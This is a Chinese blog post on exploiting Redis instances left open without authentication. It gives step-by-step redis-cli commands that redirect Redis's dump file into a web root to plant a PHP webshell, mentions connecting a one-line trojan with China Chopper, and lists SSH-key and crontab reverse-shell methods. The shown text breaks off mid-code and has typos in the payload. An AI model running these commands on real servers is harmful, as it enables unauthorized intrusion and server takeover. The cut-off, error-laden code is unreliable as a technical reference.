中间件框架漏洞-Readis未授权访问漏洞

最新推荐文章于 2024-08-05 10:58:58 发布

杜康。

最新推荐文章于 2024-08-05 10:58:58 发布

阅读量499

点赞数

CC 4.0 BY-SA版权

分类专栏：中间件框架漏洞 redis未授权访问漏洞文章标签：中间件 redis 数据库

本文链接：https://blog.csdn.net/m0_69555575/article/details/127037999

本文探讨了Redis未授权访问的原理，当Redis服务端口开放且无密码认证时，允许任意用户进行未授权操作。文章详细介绍了三种利用这种漏洞的方法：通过Redis写入webshell，写入SSH公钥获取shell，以及利用crontab反弹shell。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

中间件框架漏洞-Readis未授权访问漏洞

一、Redis未授权原理
二、三种利用redis未授予权访问漏洞

提示：以下是本篇文章正文内容，下面案例可供参考

一、Redis未授权原理

原理：简单的理解，当redis服务（6379）端口对外开放且未做密码认证时，任意用户可未授权访问redis服务并操作获取数据。

二、三种利用redis未授予权访问漏洞

1.利用redis写webshell

1.redis-cli -h 192.168.75.131
2.config set dir /var/www/html
3.config set dbfilename redis.php
4.set x "\r\n\r\n<?php phphinfo();?>\r\n\r\n" 这样就成功写如shell

可以写入一句话木马，菜刀连接
当数据库过大时，redis写shell的小技巧：（借鉴学习的）如下

<?php 
set_time_limit(0